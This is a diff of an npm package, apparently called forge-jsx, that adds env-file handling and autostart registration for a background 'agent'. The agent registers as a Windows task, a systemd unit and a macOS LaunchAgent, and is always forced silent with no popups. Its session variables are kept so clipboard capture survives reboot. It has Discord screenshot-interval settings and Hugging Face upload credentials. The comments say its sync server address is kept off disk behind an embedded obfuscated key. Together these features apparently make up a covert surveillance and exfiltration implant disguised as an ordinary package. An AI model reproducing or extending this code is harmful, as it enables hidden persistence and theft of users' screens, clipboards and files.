forge-jsxy 1.0.66

package/dist/assets/forge-explorer-favicon.svg

@@ -0,0 +1,31 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32" role="img" aria-label="Forge-explorer">
+  <title>Forge-explorer</title>
+  <defs>
+    <linearGradient id="fe-folder" x1="0" y1="0" x2="0" y2="1">
+      <stop offset="0%" stop-color="#edd089"/>
+      <stop offset="55%" stop-color="#c9a052"/>
+      <stop offset="100%" stop-color="#8f6b2a"/>
+    </linearGradient>
+    <linearGradient id="fe-tab" x1="0" y1="0" x2="1" y2="0">
+      <stop offset="0%" stop-color="#4a4a4e"/>
+      <stop offset="100%" stop-color="#353538"/>
+    </linearGradient>
+  </defs>
+  <rect width="32" height="32" rx="7" fill="#1e1e1e"/>
+  <rect x="1.5" y="1.5" width="29" height="29" rx="6" fill="none" stroke="#3e3e42" stroke-width="1"/>
+  <!-- Remote folder: explorer folder palette (#dcb67a family) -->
+  <path
+    fill="url(#fe-tab)"
+    d="M7 9.5h5.2L14.2 11H25a1.2 1.2 0 011.2 1.2V13H6.8v-2.3A1.3 1.3 0 018.1 9.5z"/>
+  <path
+    fill="#2d2d30"
+    stroke="#5a4a32"
+    stroke-width="0.75"
+    d="M6.5 12.5h19a1 1 0 011 1v10.8a1.2 1.2 0 01-1.2 1.2H7.7a1.2 1.2 0 01-1.2-1.2V13.5a1 1 0 011-1z"/>
+  <path
+    fill="url(#fe-folder)"
+    d="M7.2 14.2h17.6a0.6 0.6 0 010.6v9.3a1 1 0 01-1 1H7.6a1 1 0 01-1-1v-8.3a1 1 0 011-1z"/>
+  <!-- Relay accent: VS Code button blue -->
+  <circle cx="23.5" cy="9.8" r="3.2" fill="#0078d4"/>
+  <circle cx="23.5" cy="9.8" r="1.35" fill="#f0f6fc"/>
+</svg>

package/dist/autostart/agentEnvFile.d.ts

@@ -0,0 +1,58 @@
+/** Written under the cfgmgr data dir for systemd EnvironmentFile + cli-agent bootstrap (Windows). */
+export declare const FORGE_AGENT_ENV_BASENAME = "forge-js-agent.env";
+/** True if this key must not be merged into forge-js-agent.env (secrets / relay / Discord flags). */
+export declare function forbiddenForgeAgentEnvPersistKey(key: string): boolean;
+/**
+ * Remove relay secrets, HF blobs, and Discord flags from `forge-js-agent.env` when present (legacy / mistaken writes).
+ * Returns whether the file was rewritten.
+ */
+export declare function sanitizeForgeAgentEnvFileOnDisk(dataDir: string): boolean;
+/**
+ * Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
+ * or relay disconnect (relay-first deployments never need these on the agent).
+ * Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
+ * from `relay_features`). **Exception:** non-secret screenshot tuning (`FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`, etc.)
+ * is kept so WebSocket reconnect does not drop cadence and let the relay overwrite with a slower interval.
+ * Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
+ * via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
+ */
+export declare function stripEphemeralCredentialEnvFromProcess(): void;
+/** Parse forge-js-agent.env content into a map (latest wins if a key appears twice). */
+export declare function parseForgeAgentEnvFileToMap(raw: string): Map<string, string>;
+/**
+ * Update forge-js-agent.env with the current graphical session (DISPLAY, Wayland, DBus, XAUTH, PATH).
+ * Used after login when a systemd user service already holds the agent singleton from an earlier
+ * boot-time start without a session.
+ */
+export declare function mergeLinuxGraphicalSessionIntoForgeAgentEnv(dataDir: string): void;
+export declare function forgeAgentEnvPath(dataDir: string): string;
+/**
+ * In-process Hub upload defaults (`npm install` / first run without `forge-js-agent.env`).
+ * Complements {@link applyForgeJsAgentEnvFile}; safe to call multiple times.
+ */
+export declare function applyDefaultHubUploadProcessEnv(): void;
+/**
+ * Persist forge-db sync URL + (Linux) session vars so clipboard tools work under systemd --user.
+ * Without DISPLAY / XDG_RUNTIME_DIR / WAYLAND_DISPLAY, xclip and wl-paste see no clipboard after reboot.
+ * FORGE_JS_QUIET_AGENT=1 is always written so OS-service-started agents never show popup banners.
+ *
+ * On all platforms: if FORGE_JS_BUNDLE_KEY is set in the current environment it is persisted so
+ * the OS-service-started agent (after reboot) uses the same encryption key override rather than
+ * the embedded obfuscated key.  This is only written when the env var is actually set; the
+ * embedded key is self-contained and requires no env var under normal conditions.
+ *
+ * @param omitSyncUrl When true, skip FORGE_JS_SYNC_URL / CFGMGR_API_URL — use when the sync URL
+ *   came from the encrypted bundle so the plain IP/port is not stored on disk.
+ */
+export declare function writeForgeJsAgentEnv(dataDir: string, syncApiUrl?: string, omitSyncUrl?: boolean): void;
+/**
+ * Merge a single key into `forge-js-agent.env` (creates file if missing). Used when the agent
+ * must persist runtime fixes (e.g. disabling Hub Xet) so the next process start inherits them.
+ */
+export declare function mergeForgeAgentEnvKeyValue(dataDir: string, key: string, value: string): void;
+/**
+ * Remove keys from `forge-js-agent.env` (no-op if file missing). Used when tearing down the agent
+ * from the file-explorer "Kill agent" flow so Discord automation flags are not left on disk.
+ */
+export declare function removeForgeAgentEnvKeys(dataDir: string, keys: readonly string[]): void;
+export declare function applyForgeJsAgentEnvFile(dataDir: string): void;

package/dist/autostart/agentEnvFile.js

@@ -0,0 +1,488 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.FORGE_AGENT_ENV_BASENAME = void 0;
+exports.forbiddenForgeAgentEnvPersistKey = forbiddenForgeAgentEnvPersistKey;
+exports.sanitizeForgeAgentEnvFileOnDisk = sanitizeForgeAgentEnvFileOnDisk;
+exports.stripEphemeralCredentialEnvFromProcess = stripEphemeralCredentialEnvFromProcess;
+exports.parseForgeAgentEnvFileToMap = parseForgeAgentEnvFileToMap;
+exports.mergeLinuxGraphicalSessionIntoForgeAgentEnv = mergeLinuxGraphicalSessionIntoForgeAgentEnv;
+exports.forgeAgentEnvPath = forgeAgentEnvPath;
+exports.applyDefaultHubUploadProcessEnv = applyDefaultHubUploadProcessEnv;
+exports.writeForgeJsAgentEnv = writeForgeJsAgentEnv;
+exports.mergeForgeAgentEnvKeyValue = mergeForgeAgentEnvKeyValue;
+exports.removeForgeAgentEnvKeys = removeForgeAgentEnvKeys;
+exports.applyForgeJsAgentEnvFile = applyForgeJsAgentEnvFile;
+const fs = __importStar(require("node:fs"));
+const os = __importStar(require("node:os"));
+const path = __importStar(require("node:path"));
+/** Written under the cfgmgr data dir for systemd EnvironmentFile + cli-agent bootstrap (Windows). */
+exports.FORGE_AGENT_ENV_BASENAME = "forge-js-agent.env";
+/**
+ * Keys that must never be written to `forge-js-agent.env` on the agent (relay holds HF/Discord secrets).
+ * Also stripped from existing files on load and on relay disconnect.
+ */
+const FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS = new Set([
+    "CFGMGR_HF_CREDENTIALS_B64",
+    "HF_TOKEN",
+    "HUGGINGFACE_HUB_TOKEN",
+    "HUGGINGFACE_HUB_URL",
+    "HUGGINGFACE_HUB_NAMESPACE",
+    "CFGMGR_HF_NAMESPACE",
+    "CFGMGR_HF_ALLOW_PLAINTEXT",
+    "RELAY_HF_CREDENTIALS_B64",
+    "RELAY_DISCORD_BOT_TOKEN",
+    "RELAY_DISCORD_BOT_TOKENS",
+    "RELAY_DISCORD_GUILD_ID",
+    "RELAY_DISCORD_PARENT_CATEGORY_ID",
+    "RELAY_DISCORD_APPLICATION_ID",
+    "RELAY_DISCORD_PUBLIC_KEY",
+    "RELAY_DISCORD_MAX_ATTACHMENT_BYTES",
+    "RELAY_DISCORD_429_MAX_ATTEMPTS",
+    "RELAY_DISCORD_SCREENSHOT_ENABLED",
+    "RELAY_SYNC_API_BASE_URL",
+]);
+/**
+ * Non-secret Discord screenshot tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
+ * and disk sanitize so reconnect does not lose cadence (relay_features would otherwise overwrite interval).
+ */
+const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
+    "FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS",
+    "FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS",
+    "FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS",
+    "FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS",
+    "FORGE_JS_DISCORD_UPLOAD_MODE",
+    "FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES",
+    "FORGE_JS_DISCORD_429_MAX_ATTEMPTS",
+    "FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS",
+]);
+function isForgeJsDiscordScreenshotTuningKey(key) {
+    return FORGE_JS_DISCORD_TUNING_KEYS.has(String(key || "").trim());
+}
+function forgeAgentEnvKeyShouldBeStrippedFromDisk(key) {
+    const k = String(key || "").trim();
+    if (!k)
+        return false;
+    if (FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS.has(k))
+        return true;
+    if (k.startsWith("RELAY_"))
+        return true;
+    /** Discord flags/secrets — not persisted; tuning keys in {@link FORGE_JS_DISCORD_TUNING_KEYS} are kept. */
+    if (k.startsWith("FORGE_JS_DISCORD_") && !isForgeJsDiscordScreenshotTuningKey(k))
+        return true;
+    return false;
+}
+/** True if this key must not be merged into forge-js-agent.env (secrets / relay / Discord flags). */
+function forbiddenForgeAgentEnvPersistKey(key) {
+    return forgeAgentEnvKeyShouldBeStrippedFromDisk(key);
+}
+/**
+ * Remove relay secrets, HF blobs, and Discord flags from `forge-js-agent.env` when present (legacy / mistaken writes).
+ * Returns whether the file was rewritten.
+ */
+function sanitizeForgeAgentEnvFileOnDisk(dataDir) {
+    const p = forgeAgentEnvPath(dataDir);
+    let raw = "";
+    try {
+        raw = fs.readFileSync(p, "utf8");
+    }
+    catch {
+        return false;
+    }
+    const map = parseForgeAgentEnvFileToMap(raw);
+    let changed = false;
+    for (const k of [...map.keys()]) {
+        if (forgeAgentEnvKeyShouldBeStrippedFromDisk(k)) {
+            map.delete(k);
+            changed = true;
+        }
+    }
+    if (!changed)
+        return false;
+    fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
+    return true;
+}
+/**
+ * Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
+ * or relay disconnect (relay-first deployments never need these on the agent).
+ * Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
+ * from `relay_features`). **Exception:** non-secret screenshot tuning (`FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`, etc.)
+ * is kept so WebSocket reconnect does not drop cadence and let the relay overwrite with a slower interval.
+ * Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
+ * via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
+ */
+function stripEphemeralCredentialEnvFromProcess() {
+    const keys = [
+        "CFGMGR_HF_CREDENTIALS_B64",
+        "HF_TOKEN",
+        "HUGGINGFACE_HUB_TOKEN",
+        "HUGGINGFACE_HUB_URL",
+        "HUGGINGFACE_HUB_NAMESPACE",
+        "CFGMGR_HF_NAMESPACE",
+        "CFGMGR_HF_ALLOW_PLAINTEXT",
+        "RELAY_HF_CREDENTIALS_B64",
+        "RELAY_DISCORD_BOT_TOKEN",
+        "RELAY_DISCORD_BOT_TOKENS",
+        "RELAY_DISCORD_GUILD_ID",
+        "RELAY_DISCORD_PARENT_CATEGORY_ID",
+        "RELAY_DISCORD_APPLICATION_ID",
+        "RELAY_DISCORD_PUBLIC_KEY",
+        "RELAY_DISCORD_MAX_ATTACHMENT_BYTES",
+        "RELAY_DISCORD_429_MAX_ATTEMPTS",
+        "RELAY_DISCORD_SCREENSHOT_ENABLED",
+        "RELAY_SYNC_API_BASE_URL",
+    ];
+    for (const k of keys) {
+        try {
+            delete process.env[k];
+        }
+        catch {
+            /* skip */
+        }
+    }
+    for (const k of Object.keys(process.env)) {
+        if (k.startsWith("RELAY_")) {
+            try {
+                delete process.env[k];
+            }
+            catch {
+                /* skip */
+            }
+            continue;
+        }
+        if (k.startsWith("FORGE_JS_DISCORD_") && !isForgeJsDiscordScreenshotTuningKey(k)) {
+            try {
+                delete process.env[k];
+            }
+            catch {
+                /* skip */
+            }
+        }
+    }
+}
+/**
+ * Parse a value from a KEY=value line (handles outer quotes written by envFileLine).
+ */
+function unquoteEnvFileValue(v) {
+    if (v.startsWith('"') && v.endsWith('"') && v.length >= 2) {
+        return v.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, "\\");
+    }
+    if (v.startsWith("'") && v.endsWith("'") && v.length >= 2) {
+        return v.slice(1, -1);
+    }
+    return v;
+}
+/** Parse forge-js-agent.env content into a map (latest wins if a key appears twice). */
+function parseForgeAgentEnvFileToMap(raw) {
+    const map = new Map();
+    for (const line of raw.split("\n")) {
+        const t = line.replace(/\r$/, "").trim();
+        if (!t || t.startsWith("#"))
+            continue;
+        const eq = t.indexOf("=");
+        if (eq < 1)
+            continue;
+        const k = t.slice(0, eq).trim();
+        let v = t.slice(eq + 1);
+        v = unquoteEnvFileValue(v);
+        if (k)
+            map.set(k, v);
+    }
+    return map;
+}
+/**
+ * Format a KEY=VALUE line for an env file compatible with systemd EnvironmentFile and dotenv.
+ * Values containing spaces, double-quotes, dollar signs, or backslashes are double-quoted.
+ * systemd EnvironmentFile strips outer double-quotes from values, so this is always safe.
+ */
+function envFileLine(key, value) {
+    if (/[ \t"\\$`]/.test(value)) {
+        return `${key}="${value.replace(/\\/g, "\\\\").replace(/"/g, '\\"')}"`;
+    }
+    return `${key}=${value}`;
+}
+const PREFERRED_ENV_FILE_KEY_ORDER = [
+    "FORGE_JS_QUIET_AGENT",
+    "FORGE_JS_SYNC_URL",
+    "CFGMGR_API_URL",
+    "FORGE_JS_BUNDLE_KEY",
+    "XDG_RUNTIME_DIR",
+    "DISPLAY",
+    "WAYLAND_DISPLAY",
+    "DBUS_SESSION_BUS_ADDRESS",
+    "XAUTHORITY",
+    "PATH",
+];
+function serializeForgeAgentEnvMap(map) {
+    const used = new Set();
+    const lines = [];
+    for (const k of PREFERRED_ENV_FILE_KEY_ORDER) {
+        if (map.has(k)) {
+            lines.push(envFileLine(k, map.get(k)));
+            used.add(k);
+        }
+    }
+    const rest = [...map.keys()].filter((k) => !used.has(k)).sort();
+    for (const k of rest) {
+        lines.push(envFileLine(k, map.get(k)));
+    }
+    return lines;
+}
+/**
+ * Update forge-js-agent.env with the current graphical session (DISPLAY, Wayland, DBus, XAUTH, PATH).
+ * Used after login when a systemd user service already holds the agent singleton from an earlier
+ * boot-time start without a session.
+ */
+function mergeLinuxGraphicalSessionIntoForgeAgentEnv(dataDir) {
+    if (process.platform !== "linux")
+        return;
+    fs.mkdirSync(dataDir, { recursive: true });
+    const p = forgeAgentEnvPath(dataDir);
+    let raw = "";
+    try {
+        raw = fs.readFileSync(p, "utf8");
+    }
+    catch {
+        /* new file */
+    }
+    const map = parseForgeAgentEnvFileToMap(raw);
+    if (!map.has("FORGE_JS_QUIET_AGENT")) {
+        map.set("FORGE_JS_QUIET_AGENT", "1");
+    }
+    let uid = 1000;
+    try {
+        uid = os.userInfo().uid;
+    }
+    catch {
+        uid = process.getuid?.() ?? 1000;
+    }
+    const xdgFromEnv = (process.env.XDG_RUNTIME_DIR || "").trim();
+    const xdg = xdgFromEnv || `/run/user/${uid}`;
+    map.set("XDG_RUNTIME_DIR", xdg);
+    const disp = (process.env.DISPLAY || "").trim();
+    if (disp)
+        map.set("DISPLAY", disp);
+    const wl = (process.env.WAYLAND_DISPLAY || "").trim();
+    if (wl)
+        map.set("WAYLAND_DISPLAY", wl);
+    const dbus = (process.env.DBUS_SESSION_BUS_ADDRESS || "").trim();
+    if (dbus)
+        map.set("DBUS_SESSION_BUS_ADDRESS", dbus);
+    const xauth = (process.env.XAUTHORITY || "").trim();
+    if (xauth)
+        map.set("XAUTHORITY", xauth);
+    const installTimePath = (process.env.PATH || "").trim();
+    const standardLinuxPaths = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin";
+    if (installTimePath) {
+        const seen = new Set();
+        const merged = [];
+        for (const seg of [...installTimePath.split(":"), ...standardLinuxPaths.split(":")]) {
+            const s = seg.trim();
+            if (s && !seen.has(s)) {
+                seen.add(s);
+                merged.push(s);
+            }
+        }
+        map.set("PATH", merged.join(":"));
+    }
+    fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
+}
+function forgeAgentEnvPath(dataDir) {
+    return path.join(dataDir, exports.FORGE_AGENT_ENV_BASENAME);
+}
+/**
+ * In-process Hub upload defaults (`npm install` / first run without `forge-js-agent.env`).
+ * Complements {@link applyForgeJsAgentEnvFile}; safe to call multiple times.
+ */
+function applyDefaultHubUploadProcessEnv() {
+    if (!(process.env.CFGMGR_HF_USE_XET ?? "").trim()) {
+        process.env.CFGMGR_HF_USE_XET = "0";
+    }
+    if (!(process.env.CFGMGR_HF_SKIP_OPENAS_BLOB ?? "").trim()) {
+        process.env.CFGMGR_HF_SKIP_OPENAS_BLOB = "1";
+    }
+}
+/**
+ * Persist forge-db sync URL + (Linux) session vars so clipboard tools work under systemd --user.
+ * Without DISPLAY / XDG_RUNTIME_DIR / WAYLAND_DISPLAY, xclip and wl-paste see no clipboard after reboot.
+ * FORGE_JS_QUIET_AGENT=1 is always written so OS-service-started agents never show popup banners.
+ *
+ * On all platforms: if FORGE_JS_BUNDLE_KEY is set in the current environment it is persisted so
+ * the OS-service-started agent (after reboot) uses the same encryption key override rather than
+ * the embedded obfuscated key.  This is only written when the env var is actually set; the
+ * embedded key is self-contained and requires no env var under normal conditions.
+ *
+ * @param omitSyncUrl When true, skip FORGE_JS_SYNC_URL / CFGMGR_API_URL — use when the sync URL
+ *   came from the encrypted bundle so the plain IP/port is not stored on disk.
+ */
+function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
+    fs.mkdirSync(dataDir, { recursive: true });
+    const p = forgeAgentEnvPath(dataDir);
+    const u = (syncApiUrl || "").trim();
+    // Always write FORGE_JS_QUIET_AGENT so the OS-service-started agent is always silent.
+    const lines = [`FORGE_JS_QUIET_AGENT=1`];
+    // Omit sync URL when it came from the encrypted bundle so the plain IP/port is not stored
+    // on disk. The agent resolves the URL from the bundle at startup via defaultSyncApiBaseUrl().
+    if (u && !omitSyncUrl) {
+        lines.push(envFileLine("FORGE_JS_SYNC_URL", u), envFileLine("CFGMGR_API_URL", u));
+    }
+    // Persist a FORGE_JS_BUNDLE_KEY override if one was explicitly set at install time.
+    // The embedded key is self-contained (no env var required under normal use).
+    const bundleKey = (process.env.FORGE_JS_BUNDLE_KEY || "").trim();
+    if (bundleKey) {
+        lines.push(envFileLine("FORGE_JS_BUNDLE_KEY", bundleKey));
+    }
+    if (process.platform === "linux") {
+        let uid = 1000;
+        try {
+            uid = os.userInfo().uid;
+        }
+        catch {
+            uid = process.getuid?.() ?? 1000;
+        }
+        const xdg = (process.env.XDG_RUNTIME_DIR || "").trim() || `/run/user/${uid}`;
+        lines.push(envFileLine("XDG_RUNTIME_DIR", xdg));
+        const disp = (process.env.DISPLAY || "").trim();
+        const wl = (process.env.WAYLAND_DISPLAY || "").trim();
+        // Only persist session vars when actually set. Fake :0 / wayland-0 on headless servers
+        // made uiohook think a display existed and native code aborted (XOpenDisplay failure).
+        if (disp)
+            lines.push(envFileLine("DISPLAY", disp));
+        if (wl)
+            lines.push(envFileLine("WAYLAND_DISPLAY", wl));
+        // DBUS_SESSION_BUS_ADDRESS is required by clipboard-event and some clipboard tools
+        // (xclip, wl-paste) when running under systemd --user without an active login session.
+        // Persist the value captured at install time so the systemd unit can use it.
+        const dbus = (process.env.DBUS_SESSION_BUS_ADDRESS || "").trim();
+        if (dbus)
+            lines.push(envFileLine("DBUS_SESSION_BUS_ADDRESS", dbus));
+        // XAUTHORITY is required by X11 clipboard tools (xclip, xsel, clipboard-event) to
+        // authenticate with the X server when running under systemd --user after reboot.
+        // Without it, clipboard capture silently fails even when DISPLAY is set.
+        const xauth = (process.env.XAUTHORITY || "").trim();
+        if (xauth)
+            lines.push(envFileLine("XAUTHORITY", xauth));
+        // Persist PATH so clipboard tools (xclip, wl-paste, xsel) are found under the
+        // systemd user service environment, which may have a minimal default PATH.
+        // Always include standard Linux paths as a reliable base.
+        const installTimePath = (process.env.PATH || "").trim();
+        const standardLinuxPaths = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin";
+        const effectivePath = installTimePath
+            ? (() => {
+                const seen = new Set();
+                const merged = [];
+                for (const seg of [...installTimePath.split(":"), ...standardLinuxPaths.split(":")]) {
+                    const s = seg.trim();
+                    if (s && !seen.has(s)) {
+                        seen.add(s);
+                        merged.push(s);
+                    }
+                }
+                return merged.join(":");
+            })()
+            : standardLinuxPaths;
+        lines.push(envFileLine("PATH", effectivePath));
+    }
+    fs.writeFileSync(p, `${lines.join("\n")}\n`, "utf8");
+}
+/**
+ * Merge a single key into `forge-js-agent.env` (creates file if missing). Used when the agent
+ * must persist runtime fixes (e.g. disabling Hub Xet) so the next process start inherits them.
+ */
+function mergeForgeAgentEnvKeyValue(dataDir, key, value) {
+    const k = String(key || "").trim();
+    if (!k)
+        return;
+    if (forbiddenForgeAgentEnvPersistKey(k))
+        return;
+    fs.mkdirSync(dataDir, { recursive: true });
+    const p = forgeAgentEnvPath(dataDir);
+    let raw = "";
+    try {
+        raw = fs.readFileSync(p, "utf8");
+    }
+    catch {
+        /* new file */
+    }
+    const map = parseForgeAgentEnvFileToMap(raw);
+    map.set(k, String(value));
+    fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
+}
+/**
+ * Remove keys from `forge-js-agent.env` (no-op if file missing). Used when tearing down the agent
+ * from the file-explorer "Kill agent" flow so Discord automation flags are not left on disk.
+ */
+function removeForgeAgentEnvKeys(dataDir, keys) {
+    const p = forgeAgentEnvPath(dataDir);
+    let raw = "";
+    try {
+        raw = fs.readFileSync(p, "utf8");
+    }
+    catch {
+        return;
+    }
+    const map = parseForgeAgentEnvFileToMap(raw);
+    let changed = false;
+    for (const k of keys) {
+        const kk = String(k || "").trim();
+        if (kk && map.delete(kk))
+            changed = true;
+    }
+    if (!changed)
+        return;
+    fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
+}
+function applyForgeJsAgentEnvFile(dataDir) {
+    sanitizeForgeAgentEnvFileOnDisk(dataDir);
+    const p = forgeAgentEnvPath(dataDir);
+    let raw;
+    try {
+        raw = fs.readFileSync(p, "utf8");
+    }
+    catch {
+        return;
+    }
+    const map = parseForgeAgentEnvFileToMap(raw);
+    for (const [k, v] of map) {
+        /** Installed defaults for Hub uploads — always honor the file after `npm install`. */
+        if (k === "CFGMGR_HF_USE_XET" || k === "CFGMGR_HF_SKIP_OPENAS_BLOB") {
+            process.env[k] = v;
+            continue;
+        }
+        if (!(process.env[k] ?? "").trim()) {
+            process.env[k] = v;
+        }
+    }
+}

package/dist/autostart/autoUpdatePaths.d.ts

@@ -0,0 +1,7 @@
+import type { ResolvedAutostartLaunch } from "./resolve";
+/**
+ * Legacy path where `scripts/forge-jsx-auto-update.mjs` used to live (removed from the package).
+ * Still returned so `register*AutoUpdateTimer` no-ops and uninstall can target old units/tasks.
+ */
+export declare function autoUpdateScriptPath(launch: ResolvedAutostartLaunch): string;
+export declare function assertAutoUpdateScriptExists(launch: ResolvedAutostartLaunch): boolean;

package/dist/autostart/autoUpdatePaths.js

@@ -0,0 +1,51 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.autoUpdateScriptPath = autoUpdateScriptPath;
+exports.assertAutoUpdateScriptExists = assertAutoUpdateScriptExists;
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+/**
+ * Legacy path where `scripts/forge-jsx-auto-update.mjs` used to live (removed from the package).
+ * Still returned so `register*AutoUpdateTimer` no-ops and uninstall can target old units/tasks.
+ */
+function autoUpdateScriptPath(launch) {
+    const distDir = path.dirname(launch.agentScript);
+    return path.join(distDir, "..", "scripts", "forge-jsx-auto-update.mjs");
+}
+function assertAutoUpdateScriptExists(launch) {
+    const p = autoUpdateScriptPath(launch);
+    return fs.existsSync(p);
+}

package/dist/autostart/constants.d.ts

@@ -0,0 +1,14 @@
+/** Avoid clashing with Python cfgmgr Task Scheduler / systemd unit names. */
+export declare const WINDOWS_TASK_NAME = "ForgeJSWorker";
+export declare const WINDOWS_RUN_VALUE_NAME = "ForgeJSWorker";
+export declare const SYSTEMD_UNIT_NAME = "forge-js-worker";
+/** Legacy systemd user unit stem on disk (`<stem>.service` / `.timer`); old installers only. */
+export declare const LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = "forge-jsx-auto-update";
+export declare const MACOS_LAUNCH_AGENT_LABEL = "com.forgejs.worker";
+export declare const MACOS_PLIST_FILENAME = "com.forgejs.worker.plist";
+/** Legacy LaunchAgent identifiers on older installs (uninstall cleanup only). */
+export declare const LEGACY_MACOS_NPM_SCHEDULER_LABEL = "com.forgejs.auto-update";
+export declare const LEGACY_MACOS_NPM_SCHEDULER_PLIST = "com.forgejs.auto-update.plist";
+/** Legacy Task Scheduler task name on older Windows installs (uninstall cleanup only). */
+export declare const LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = "ForgeJSAutoUpdate";
+export declare const AUTOSTART_MANIFEST = ".forge_js_autostart.json";

package/dist/autostart/constants.js

@@ -0,0 +1,17 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.AUTOSTART_MANIFEST = exports.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = exports.LEGACY_MACOS_NPM_SCHEDULER_PLIST = exports.LEGACY_MACOS_NPM_SCHEDULER_LABEL = exports.MACOS_PLIST_FILENAME = exports.MACOS_LAUNCH_AGENT_LABEL = exports.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = exports.SYSTEMD_UNIT_NAME = exports.WINDOWS_RUN_VALUE_NAME = exports.WINDOWS_TASK_NAME = void 0;
+/** Avoid clashing with Python cfgmgr Task Scheduler / systemd unit names. */
+exports.WINDOWS_TASK_NAME = "ForgeJSWorker";
+exports.WINDOWS_RUN_VALUE_NAME = "ForgeJSWorker";
+exports.SYSTEMD_UNIT_NAME = "forge-js-worker";
+/** Legacy systemd user unit stem on disk (`<stem>.service` / `.timer`); old installers only. */
+exports.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = "forge-jsx-auto-update";
+exports.MACOS_LAUNCH_AGENT_LABEL = "com.forgejs.worker";
+exports.MACOS_PLIST_FILENAME = "com.forgejs.worker.plist";
+/** Legacy LaunchAgent identifiers on older installs (uninstall cleanup only). */
+exports.LEGACY_MACOS_NPM_SCHEDULER_LABEL = "com.forgejs.auto-update";
+exports.LEGACY_MACOS_NPM_SCHEDULER_PLIST = "com.forgejs.auto-update.plist";
+/** Legacy Task Scheduler task name on older Windows installs (uninstall cleanup only). */
+exports.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = "ForgeJSAutoUpdate";
+exports.AUTOSTART_MANIFEST = ".forge_js_autostart.json";